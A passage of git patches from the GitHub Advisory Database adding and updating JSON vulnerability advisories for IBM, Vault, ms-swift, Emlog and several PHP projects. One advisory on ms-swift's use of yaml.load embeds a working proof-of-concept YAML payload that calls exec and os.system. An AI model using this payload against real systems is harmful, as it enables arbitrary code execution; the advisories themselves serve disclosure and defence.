+++ b/advisories/unreviewed/2025/08/GHSA-p3q2-74hc-43v3/GHSA-p3q2-74hc-43v3.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-p3q2-74hc-43v3",
+ "modified": "2025-08-01T18:31:18Z",
+ "published": "2025-08-01T18:31:18Z",
+ "aliases": [
+ "CVE-2025-2824"
+ ],
+ "details": "IBM Operational Decision Manager 8.11.0.1, 8.11.1.0, 8.12.0.1, 9.0.0.1, and 9.5.0 could allow a remote attacker to conduct phishing attacks, using an open redirect attack. By persuading a victim to visit a specially crafted Web site, a remote attacker could exploit this vulnerability to spoof the URL displayed to redirect a user to a malicious Web site that would appear to be trusted. This could allow the attacker to obtain highly sensitive information or conduct further attacks against the victim.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2824"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.ibm.com/support/pages/node/7241286"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-601"
+ ],
+ "severity": "HIGH",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T18:15:51Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-q2v9-7453-3jwf/GHSA-q2v9-7453-3jwf.json b/advisories/unreviewed/2025/08/GHSA-q2v9-7453-3jwf/GHSA-q2v9-7453-3jwf.json
new file mode 100644
index 0000000000000..28eb69807a09a
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-q2v9-7453-3jwf/GHSA-q2v9-7453-3jwf.json
@@ -0,0 +1,33 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-q2v9-7453-3jwf",
+ "modified": "2025-08-01T18:31:17Z",
+ "published": "2025-08-01T18:31:16Z",
+ "aliases": [
+ "CVE-2025-44139"
+ ],
+ "details": "Emlog Pro V2.5.7 is vulnerable to Unrestricted Upload of File with Dangerous Type via /emlog/admin/plugin.php?action=upload_zip",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-44139"
+ },
+ {
+ "type": "WEB",
+ "url": "https://gist.github.com/babapihai/b56121e0b2694e2be22571057d05298e"
+ },
+ {
+ "type": "WEB",
+ "url": "http://emlog.com"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T16:15:41Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-q8q3-6g93-33hh/GHSA-q8q3-6g93-33hh.json b/advisories/unreviewed/2025/08/GHSA-q8q3-6g93-33hh/GHSA-q8q3-6g93-33hh.json
new file mode 100644
index 0000000000000..a1d12ddc9b97e
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-q8q3-6g93-33hh/GHSA-q8q3-6g93-33hh.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-q8q3-6g93-33hh",
+ "modified": "2025-08-01T18:31:18Z",
+ "published": "2025-08-01T18:31:18Z",
+ "aliases": [
+ "CVE-2025-50868"
+ ],
+ "details": "A SQL Injection vulnerability exists in the takeassessment2.php file of CloudClassroom-PHP-Project 1.0. The Q4 POST parameter is not properly sanitized before being used in SQL queries.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50868"
+ },
+ {
+ "type": "WEB",
+ "url": "https://gist.github.com/b0mk35h/393a5491ef82fe0ede9207e4bc5953fb"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-89"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T18:15:53Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-qgj7-fmq2-6cc4/GHSA-qgj7-fmq2-6cc4.json b/advisories/unreviewed/2025/08/GHSA-qgj7-fmq2-6cc4/GHSA-qgj7-fmq2-6cc4.json
new file mode 100644
index 0000000000000..9fd68224f40e8
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-qgj7-fmq2-6cc4/GHSA-qgj7-fmq2-6cc4.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-qgj7-fmq2-6cc4",
+ "modified": "2025-08-01T18:31:19Z",
+ "published": "2025-08-01T18:31:19Z",
+ "aliases": [
+ "CVE-2025-6004"
+ ],
+ "details": "Vault and Vault Enterprise’s (“Vault”) user lockout feature could be bypassed for Userpass and LDAP authentication methods. Fixed in Vault Community Edition 1.20.1 and Vault Enterprise 1.20.1, 1.19.7, 1.18.12, and 1.16.23.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6004"
+ },
+ {
+ "type": "WEB",
+ "url": "https://discuss.hashicorp.com/t/hcsec-2025-16-vault-userpass-and-ldap-user-lockout-bypass/76035"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-307"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T18:15:56Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-qgm9-fp3r-vm5v/GHSA-qgm9-fp3r-vm5v.json b/advisories/unreviewed/2025/08/GHSA-qgm9-fp3r-vm5v/GHSA-qgm9-fp3r-vm5v.json
new file mode 100644
index 0000000000000..d09014c6c7acb
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-qgm9-fp3r-vm5v/GHSA-qgm9-fp3r-vm5v.json
@@ -0,0 +1,40 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-qgm9-fp3r-vm5v",
+ "modified": "2025-08-01T18:31:17Z",
+ "published": "2025-08-01T18:31:17Z",
+ "aliases": [
+ "CVE-2025-50472"
+ ],
+ "details": "The modelscope/ms-swift library thru 2.6.1 is vulnerable to arbitrary code execution through deserialization of untrusted data within the `load_model_meta()` function of the `ModelFileSystemCache()` class. Attackers can execute arbitrary code and commands by crafting a malicious serialized `.mdl` payload, exploiting the use of `pickle.load()` on data from potentially untrusted sources. This vulnerability allows for remote code execution (RCE) by deceiving victims into loading a seemingly harmless checkpoint during a normal training process, thereby enabling attackers to execute arbitrary code on the targeted machine. Note that the payload file is a hidden file, making it difficult for the victim to detect tampering. More importantly, during the model training process, after the `.mdl` file is loaded and executes arbitrary code, the normal training process remains unaffected'meaning the user remains unaware of the arbitrary code execution.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50472"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/xhjy2020/CVE-2025-50472"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-502"
+ ],
+ "severity": "CRITICAL",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T16:15:41Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-qh7w-62mf-364r/GHSA-qh7w-62mf-364r.json b/advisories/unreviewed/2025/08/GHSA-qh7w-62mf-364r/GHSA-qh7w-62mf-364r.json
new file mode 100644
index 0000000000000..e923e9689ab62
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-qh7w-62mf-364r/GHSA-qh7w-62mf-364r.json
@@ -0,0 +1,40 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-qh7w-62mf-364r",
+ "modified": "2025-08-01T18:31:18Z",
+ "published": "2025-08-01T18:31:18Z",
+ "aliases": [
+ "CVE-2025-50869"
+ ],
+ "details": "A stored Cross-Site Scripting (XSS) vulnerability exists in the qureydetails.php page of Institute-of-Current-Students 1.0, where the input fields for Query and Answer do not properly sanitize user input. Authenticated users can inject arbitrary JavaScript code.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50869"
+ },
+ {
+ "type": "WEB",
+ "url": "https://gist.github.com/b0mk35h/1fabbff8c95c6b7180c4ef404a337b8b"
+ },
+ {
+ "type": "WEB",
+ "url": "https://portswigger.net/web-security/cross-site-scripting/stored"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T18:15:53Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-qv3p-fmv3-9hww/GHSA-qv3p-fmv3-9hww.json b/advisories/unreviewed/2025/08/GHSA-qv3p-fmv3-9hww/GHSA-qv3p-fmv3-9hww.json
new file mode 100644
index 0000000000000..33e4651184b3f
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-qv3p-fmv3-9hww/GHSA-qv3p-fmv3-9hww.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-qv3p-fmv3-9hww",
+ "modified": "2025-08-01T18:31:19Z",
+ "published": "2025-08-01T18:31:19Z",
+ "aliases": [
+ "CVE-2025-6014"
+ ],
+ "details": "Vault and Vault Enterprise’s (“Vault”) TOTP Secrets Engine code validation endpoint is susceptible to code reuse within its validity period. Fixed in Vault Community Edition 1.20.1 and Vault Enterprise 1.20.1, 1.19.7, 1.18.12, and 1.16.23.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6014"
+ },
+ {
+ "type": "WEB",
+ "url": "https://discuss.hashicorp.com/t/hcsec-2025-17-vault-totp-secrets-engine-code-reuse/76036"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-156"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T18:15:56Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-rpv2-rq4j-p9m3/GHSA-rpv2-rq4j-p9m3.json b/advisories/unreviewed/2025/08/GHSA-rpv2-rq4j-p9m3/GHSA-rpv2-rq4j-p9m3.json
new file mode 100644
index 0000000000000..dce4790b00f09
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-rpv2-rq4j-p9m3/GHSA-rpv2-rq4j-p9m3.json
@@ -0,0 +1,37 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-rpv2-rq4j-p9m3",
+ "modified": "2025-08-01T18:31:17Z",
+ "published": "2025-08-01T18:31:17Z",
+ "aliases": [
+ "CVE-2025-52327"
+ ],
+ "details": "SQL Injection vulnerability in Restaurant Order System 1.0 allows a local attacker to obtain sensitive information via the payment.php file",
+ "severity": [],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52327"
+ },
+ {
+ "type": "WEB",
+ "url": "https://code-projects.org/real-estate-property-management-system-php-source-code"
+ },
+ {
+ "type": "WEB",
+ "url": "https://gist.github.com/babapihai/d604a43d884a9e20c234f33865584db4"
+ },
+ {
+ "type": "WEB",
+ "url": "http://restaurant.com"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [],
+ "severity": null,
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T16:15:41Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-v6qp-r53v-fvh5/GHSA-v6qp-r53v-fvh5.json b/advisories/unreviewed/2025/08/GHSA-v6qp-r53v-fvh5/GHSA-v6qp-r53v-fvh5.json
index 2573bf73e7f53..628560e31631d 100644
--- a/advisories/unreviewed/2025/08/GHSA-v6qp-r53v-fvh5/GHSA-v6qp-r53v-fvh5.json
+++ b/advisories/unreviewed/2025/08/GHSA-v6qp-r53v-fvh5/GHSA-v6qp-r53v-fvh5.json
@@ -1,13 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-v6qp-r53v-fvh5",
- "modified": "2025-08-01T15:34:18Z",
+ "modified": "2025-08-01T18:31:16Z",
"published": "2025-08-01T15:34:18Z",
"aliases": [
"CVE-2025-46018"
],
"details": "CSC Pay Mobile App 2.19.4 (fixed in version 2.20.0) contains a vulnerability allowing users to bypass payment authorization by disabling Bluetooth at a specific point during a transaction. This could result in unauthorized use of laundry services and potential financial loss.",
- "severity": [],
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:L"
+ }
+ ],
"affected": [],
"references": [
{
@@ -24,8 +29,10 @@
}
],
"database_specific": {
- "cwe_ids": [],
- "severity": null,
+ "cwe_ids": [
+ "CWE-290"
+ ],
+ "severity": "MODERATE",
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-01T14:15:35Z"
diff --git a/advisories/unreviewed/2025/08/GHSA-v6r4-35f9-9rpw/GHSA-v6r4-35f9-9rpw.json b/advisories/unreviewed/2025/08/GHSA-v6r4-35f9-9rpw/GHSA-v6r4-35f9-9rpw.json
new file mode 100644
index 0000000000000..f7e8ba84d6452
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-v6r4-35f9-9rpw/GHSA-v6r4-35f9-9rpw.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-v6r4-35f9-9rpw",
+ "modified": "2025-08-01T18:31:19Z",
+ "published": "2025-08-01T18:31:19Z",
+ "aliases": [
+ "CVE-2025-6015"
+ ],
+ "details": "Vault and Vault Enterprise’s (“Vault”) login MFA rate limits could be bypassed and TOTP tokens could be reused. Fixed in Vault Community Edition 1.20.1 and Vault Enterprise 1.20.1, 1.19.7, 1.18.12, and 1.16.23.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6015"
+ },
+ {
+ "type": "WEB",
+ "url": "https://discuss.hashicorp.com/t/hcsec-2025-19-vault-login-mfa-bypass-of-rate-limiting-and-totp-token-reuse/76038"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-307"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T18:15:57Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-xfj7-2jg6-3957/GHSA-xfj7-2jg6-3957.json b/advisories/unreviewed/2025/08/GHSA-xfj7-2jg6-3957/GHSA-xfj7-2jg6-3957.json
new file mode 100644
index 0000000000000..f368cca9e26fc
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-xfj7-2jg6-3957/GHSA-xfj7-2jg6-3957.json
@@ -0,0 +1,40 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-xfj7-2jg6-3957",
+ "modified": "2025-08-01T18:31:17Z",
+ "published": "2025-08-01T18:31:17Z",
+ "aliases": [
+ "CVE-2025-52390"
+ ],
+ "details": "Saurus CMS Community Edition since commit d886e5b0 (2010-04-23) is vulnerable to a SQL Injection vulnerability in the `prepareSearchQuery()` method in `FulltextSearch.class.php`. The application directly concatenates user-supplied input (`$search_word`) into SQL queries without sanitization, allowing attackers to manipulate the SQL logic and potentially extract sensitive information or escalate their privileges.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-52390"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/sauruscms/Saurus-CMS-Community-Edition/blob/d886e5b0c1e2b42cd74e2184e7c81c720cd9de6b/classes/FulltextSearch.class.php#L331"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/theharshkothari/vulnerability-research/blob/main/CVE-2025-52390.md"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-89"
+ ],
+ "severity": "CRITICAL",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T16:15:42Z"
+ }
+}
\ No newline at end of file
diff --git a/advisories/unreviewed/2025/08/GHSA-xfxw-gr8g-6h57/GHSA-xfxw-gr8g-6h57.json b/advisories/unreviewed/2025/08/GHSA-xfxw-gr8g-6h57/GHSA-xfxw-gr8g-6h57.json
new file mode 100644
index 0000000000000..73027bea3d5a9
--- /dev/null
+++ b/advisories/unreviewed/2025/08/GHSA-xfxw-gr8g-6h57/GHSA-xfxw-gr8g-6h57.json
@@ -0,0 +1,36 @@
+{
+ "schema_version": "1.4.0",
+ "id": "GHSA-xfxw-gr8g-6h57",
+ "modified": "2025-08-01T18:31:18Z",
+ "published": "2025-08-01T18:31:18Z",
+ "aliases": [
+ "CVE-2025-33118"
+ ],
+ "details": "IBM QRadar SIEM 7.5 through 7.5.0 Update Pack 12 is vulnerable to stored cross-site scripting. This vulnerability allows authenticated users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.",
+ "severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N"
+ }
+ ],
+ "affected": [],
+ "references": [
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33118"
+ },
+ {
+ "type": "WEB",
+ "url": "https://www.ibm.com/support/pages/node/7241303"
+ }
+ ],
+ "database_specific": {
+ "cwe_ids": [
+ "CWE-79"
+ ],
+ "severity": "MODERATE",
+ "github_reviewed": false,
+ "github_reviewed_at": null,
+ "nvd_published_at": "2025-08-01T18:15:51Z"
+ }
+}
\ No newline at end of file
From 7f5d709d04a1eb62b198ea38d475142bbfe17df3 Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Fri, 1 Aug 2025 18:36:23 +0000
Subject: [PATCH 299/323] Publish Advisories
GHSA-9mvj-f7w8-pvh2
GHSA-vc8w-jr9v-vj7f
GHSA-fm6c-f59h-7mmg
GHSA-x22w-82jp-8rvf
---
.../GHSA-9mvj-f7w8-pvh2.json | 2 +-
.../GHSA-vc8w-jr9v-vj7f.json | 2 +-
.../GHSA-fm6c-f59h-7mmg.json | 20 +++++++++++++++++--
.../GHSA-x22w-82jp-8rvf.json | 8 ++++++--
4 files changed, 26 insertions(+), 6 deletions(-)
diff --git a/advisories/github-reviewed/2024/07/GHSA-9mvj-f7w8-pvh2/GHSA-9mvj-f7w8-pvh2.json b/advisories/github-reviewed/2024/07/GHSA-9mvj-f7w8-pvh2/GHSA-9mvj-f7w8-pvh2.json
index 8c9c7e6cf672f..86b74015767da 100644
--- a/advisories/github-reviewed/2024/07/GHSA-9mvj-f7w8-pvh2/GHSA-9mvj-f7w8-pvh2.json
+++ b/advisories/github-reviewed/2024/07/GHSA-9mvj-f7w8-pvh2/GHSA-9mvj-f7w8-pvh2.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-9mvj-f7w8-pvh2",
- "modified": "2025-01-31T16:28:19Z",
+ "modified": "2025-08-01T18:34:18Z",
"published": "2024-07-11T18:31:14Z",
"aliases": [
"CVE-2024-6484"
diff --git a/advisories/github-reviewed/2024/07/GHSA-vc8w-jr9v-vj7f/GHSA-vc8w-jr9v-vj7f.json b/advisories/github-reviewed/2024/07/GHSA-vc8w-jr9v-vj7f/GHSA-vc8w-jr9v-vj7f.json
index bcda7765e29d0..b25eb8ae11c59 100644
--- a/advisories/github-reviewed/2024/07/GHSA-vc8w-jr9v-vj7f/GHSA-vc8w-jr9v-vj7f.json
+++ b/advisories/github-reviewed/2024/07/GHSA-vc8w-jr9v-vj7f/GHSA-vc8w-jr9v-vj7f.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-vc8w-jr9v-vj7f",
- "modified": "2025-05-16T22:14:28Z",
+ "modified": "2025-08-01T18:34:16Z",
"published": "2024-07-11T18:31:14Z",
"aliases": [
"CVE-2024-6531"
diff --git a/advisories/github-reviewed/2025/07/GHSA-fm6c-f59h-7mmg/GHSA-fm6c-f59h-7mmg.json b/advisories/github-reviewed/2025/07/GHSA-fm6c-f59h-7mmg/GHSA-fm6c-f59h-7mmg.json
index af7b0d4206948..fb5bdbd20238c 100644
--- a/advisories/github-reviewed/2025/07/GHSA-fm6c-f59h-7mmg/GHSA-fm6c-f59h-7mmg.json
+++ b/advisories/github-reviewed/2025/07/GHSA-fm6c-f59h-7mmg/GHSA-fm6c-f59h-7mmg.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-fm6c-f59h-7mmg",
- "modified": "2025-07-31T14:02:34Z",
+ "modified": "2025-08-01T18:35:43Z",
"published": "2025-07-31T14:02:34Z",
"aliases": [
"CVE-2025-50460"
@@ -9,6 +9,10 @@
"summary": "MS SWIFT Remote Code Execution via unsafe PyYAML deserialization",
"details": "## Description\n\nA Remote Code Execution (RCE) vulnerability exists in the [modelscope/ms-swift](https://github.com/modelscope/ms-swift) project due to unsafe use of `yaml.load()` in combination with vulnerable versions of the PyYAML library (≤ 5.3.1). The issue resides in the `tests/run.py` script, where a user-supplied YAML configuration file is deserialized using `yaml.load()` with `yaml.FullLoader`.\n\nIf an attacker can control or replace the YAML configuration file provided to the `--run_config` argument, they may inject a malicious payload that results in arbitrary code execution.\n\n## Affected Repository\n\n- **Project:** [modelscope/ms-swift](https://github.com/modelscope/ms-swift)\n- **Affect versions:** latest\n- **File:** `tests/run.py`\n- **GitHub Permalink:** https://github.com/modelscope/ms-swift/blob/e02ebfdf34f979bbdba9d935acc1689f8d227b38/tests/run.py#L420\n- **Dependency:** PyYAML <= 5.3.1\n\n## Vulnerable Code\n\n```python\nif args.run_config is not None and Path(args.run_config).exists():\n with open(args.run_config, encoding='utf-8') as f:\n run_config = yaml.load(f, Loader=yaml.FullLoader)\n```\n\n## Proof of Concept (PoC)\n\n### Step 1: Create malicious YAML file (`exploit.yaml`)\n\n```yaml\n!!python/object/new:type\nargs: [\"z\", !!python/tuple [], {\"extend\": !!python/name:exec }]\nlistitems: \"__import__('os').system('mkdir HACKED')\"\n```\n\n### Step 2: Execute with vulnerable PyYAML (<= 5.3.1)\n\n```python\nimport yaml\n\nwith open(\"exploit.yaml\", \"r\") as f:\n cfg = yaml.load(f, Loader=yaml.FullLoader)\n```\n\nThis results in execution of `os.system`, proving code execution.\n\n## Mitigation\n\n* Replace `yaml.load()` with `yaml.safe_load()`\n* Upgrade PyYAML to version 5.4 or later\n\n### Example Fix:\n\n```python\n# Before\nyaml.load(f, Loader=yaml.FullLoader)\n\n# After\nyaml.safe_load(f)\n```\n\n\n## Author\n\n* Discovered by: Yu Rong (戎誉) and Hao Fan (凡浩)\n* Contact: *\\[[anchor.rongyu020221@gmail.com](mailto:anchor.rongyu020221@gmail.com)]*",
"severity": [
+ {
+ "type": "CVSS_V3",
+ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
+ },
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N"
@@ -40,6 +44,10 @@
"type": "WEB",
"url": "https://github.com/modelscope/ms-swift/security/advisories/GHSA-fm6c-f59h-7mmg"
},
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50460"
+ },
{
"type": "WEB",
"url": "https://github.com/modelscope/ms-swift/pull/5174"
@@ -52,9 +60,17 @@
"type": "WEB",
"url": "https://github.com/Anchor0221/CVE-2025-50460"
},
+ {
+ "type": "ADVISORY",
+ "url": "https://github.com/advisories/GHSA-6757-jp84-gxfx"
+ },
{
"type": "PACKAGE",
"url": "https://github.com/modelscope/ms-swift"
+ },
+ {
+ "type": "WEB",
+ "url": "https://github.com/modelscope/ms-swift/blob/main/tests/run.py#L420"
}
],
"database_specific": {
@@ -64,6 +80,6 @@
"severity": "LOW",
"github_reviewed": true,
"github_reviewed_at": "2025-07-31T14:02:34Z",
- "nvd_published_at": null
+ "nvd_published_at": "2025-08-01T16:15:41Z"
}
}
\ No newline at end of file
diff --git a/advisories/github-reviewed/2025/07/GHSA-x22w-82jp-8rvf/GHSA-x22w-82jp-8rvf.json b/advisories/github-reviewed/2025/07/GHSA-x22w-82jp-8rvf/GHSA-x22w-82jp-8rvf.json
index 52e76b608c687..d9b9e31c036b5 100644
--- a/advisories/github-reviewed/2025/07/GHSA-x22w-82jp-8rvf/GHSA-x22w-82jp-8rvf.json
+++ b/advisories/github-reviewed/2025/07/GHSA-x22w-82jp-8rvf/GHSA-x22w-82jp-8rvf.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-x22w-82jp-8rvf",
- "modified": "2025-07-31T19:23:18Z",
+ "modified": "2025-08-01T18:35:51Z",
"published": "2025-07-31T19:23:18Z",
"aliases": [
"CVE-2025-48074"
@@ -43,6 +43,10 @@
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-x22w-82jp-8rvf"
},
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48074"
+ },
{
"type": "PACKAGE",
"url": "https://github.com/AcademySoftwareFoundation/openexr"
@@ -59,6 +63,6 @@
"severity": "MODERATE",
"github_reviewed": true,
"github_reviewed_at": "2025-07-31T19:23:18Z",
- "nvd_published_at": null
+ "nvd_published_at": "2025-08-01T17:15:52Z"
}
}
\ No newline at end of file
From a00d8d5dc95eab86fdf5564b34f765d72fff966a Mon Sep 17 00:00:00 2001
From: "advisory-database[bot]"
<45398580+advisory-database[bot]@users.noreply.github.com>
Date: Fri, 1 Aug 2025 18:39:38 +0000
Subject: [PATCH 300/323] Publish Advisories
GHSA-3jhf-gxhr-q4cx
GHSA-7qw8-3vmf-gj32
GHSA-8xq3-w9fx-74rv
GHSA-qc2h-74x3-4v3w
GHSA-wx6g-fm6f-w822
---
.../GHSA-3jhf-gxhr-q4cx.json | 8 ++++++--
.../GHSA-7qw8-3vmf-gj32.json | 12 +++++++++--
.../GHSA-8xq3-w9fx-74rv.json | 8 ++++++--
.../GHSA-qc2h-74x3-4v3w.json | 16 +++++++++++++--
.../GHSA-wx6g-fm6f-w822.json | 20 +++++++++++++++++--
5 files changed, 54 insertions(+), 10 deletions(-)
diff --git a/advisories/github-reviewed/2025/07/GHSA-3jhf-gxhr-q4cx/GHSA-3jhf-gxhr-q4cx.json b/advisories/github-reviewed/2025/07/GHSA-3jhf-gxhr-q4cx/GHSA-3jhf-gxhr-q4cx.json
index f5b6071a53f44..614c6ff2c50e9 100644
--- a/advisories/github-reviewed/2025/07/GHSA-3jhf-gxhr-q4cx/GHSA-3jhf-gxhr-q4cx.json
+++ b/advisories/github-reviewed/2025/07/GHSA-3jhf-gxhr-q4cx/GHSA-3jhf-gxhr-q4cx.json
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-3jhf-gxhr-q4cx",
- "modified": "2025-07-31T18:31:11Z",
+ "modified": "2025-08-01T18:36:02Z",
"published": "2025-07-31T18:31:11Z",
"aliases": [
"CVE-2025-53010"
@@ -43,6 +43,10 @@
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/MaterialX/security/advisories/GHSA-3jhf-gxhr-q4cx"
},
+ {
+ "type": "ADVISORY",
+ "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53010"
+ },
{
"type": "WEB",
"url": "https://github.com/AcademySoftwareFoundation/MaterialX/commit/e13344ba13326869d7820b444705f24d56fab73d"
@@ -63,6 +67,6 @@
"severity": "LOW",
"github_reviewed": true,
